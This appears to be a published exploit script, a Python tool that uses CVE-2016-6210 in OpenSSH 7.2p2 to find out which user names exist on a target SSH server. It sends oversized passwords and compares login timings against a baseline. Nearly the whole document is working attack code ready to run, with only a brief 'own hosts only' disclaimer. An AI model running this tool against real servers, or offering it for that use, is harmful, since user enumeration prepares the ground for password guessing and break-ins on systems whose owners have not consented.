OpenSSHD 7.2p2 User Enumeration

`#!/usr/bin/python  
#  
# CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari)  
#  
# Author: 0_o -- null_null  
# nu11.nu11 [at] yahoo.com  
# Oh, and it is n-u-one-one.n-u-one-one, no l's...  
# Wonder how the guys at packet storm could get this wrong :(  
#   
# Date: 2016-07-19  
#   
# Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210.   
#   
# Prerequisites: Network access to the SSH daemon.  
#  
# DISCLAIMER: Use against your own hosts only! Attacking stuff you are not   
# permitted to may put you in big trouble!  
#  
# And now - the fun part :-)  
#   
  
  
import paramiko  
import time  
import numpy  
import argparse  
import sys  
  
args = None  
  
class bcolors:  
HEADER = '\033[95m'  
OKBLUE = '\033[94m'  
OKGREEN = '\033[92m'  
WARNING = '\033[93m'  
FAIL = '\033[91m'  
ENDC = '\033[0m'  
BOLD = '\033[1m'  
UNDERLINE = '\033[4m'  
  
  
def get_args():  
parser = argparse.ArgumentParser()  
group = parser.add_mutually_exclusive_group()  
parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")  
group.add_argument("-u", "--user", type = str, help = "Give a single user name")  
group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")  
parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")  
parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")  
parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")  
parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")  
parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")  
parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")  
args = parser.parse_args()  
return args  
  
  
def get_banner(host, port):  
ssh = paramiko.SSHClient()  
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
try:  
ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')  
except:  
banner = ssh.get_transport().remote_version  
ssh.close()  
return banner  
  
  
def connect(host, port, user):  
global args  
starttime = 0.0  
endtime = 0.0  
p = 'B' * int(args.bytes)  
ssh = paramiko.SSHClient()  
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
starttime=time.clock()  
try:  
ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)  
except:  
endtime=time.clock()  
finally:  
ssh.close()  
return endtime - starttime  
  
  
  
def main():  
global args  
args = get_args()  
if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")  
if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")  
if args.host:  
host = args.host.split(":")[0]  
try:  
port = int(args.host.split(":")[1])  
except IndexError:  
port = 22  
users = []  
if args.user:  
users.append(args.user)  
elif args.userlist:  
with open(args.userlist, "r") as f:  
users = f.readlines()  
else:  
if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")  
sys.exit()  
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)  
# get baseline timing for non-existing users...  
baseline_samples = []  
baseline_mean = 0.0  
baseline_deviation = 0.0  
if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")  
for i in range(1, int(args.samples) + 1):  
if not args.silent: sys.stdout.write('.')  
if not args.silent: sys.stdout.flush()  
sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))  
baseline_samples.append(sample)  
if not args.silent: sys.stdout.write('\n')  
# remove the biggest and smallest value  
baseline_samples.sort()  
baseline_samples.pop()  
baseline_samples.reverse()  
baseline_samples.pop()  
# do math  
baseline_mean = numpy.mean(numpy.array(baseline_samples))  
baseline_deviation = numpy.std(numpy.array(baseline_samples))  
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")  
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")  
upper = baseline_mean + float(args.factor) * baseline_deviation  
if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")  
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")  
#   
# Get timing for the given user name...  
#  
for u in users:  
user = u.strip()  
enum_samples = []  
enum_mean = 0.0  
for t in range(0, int(args.trials)):  
timeval = connect(host, port, user)  
enum_samples.append(timeval)  
enum_mean = numpy.mean(numpy.array(enum_samples))  
if (enum_mean < upper):  
if not (args.enumerated or args.silent) :   
print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))  
else:  
if not args.silent:   
print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))  
else:   
print(user)  
  
  
  
  
if __name__ == "__main__":  
main()  
  
`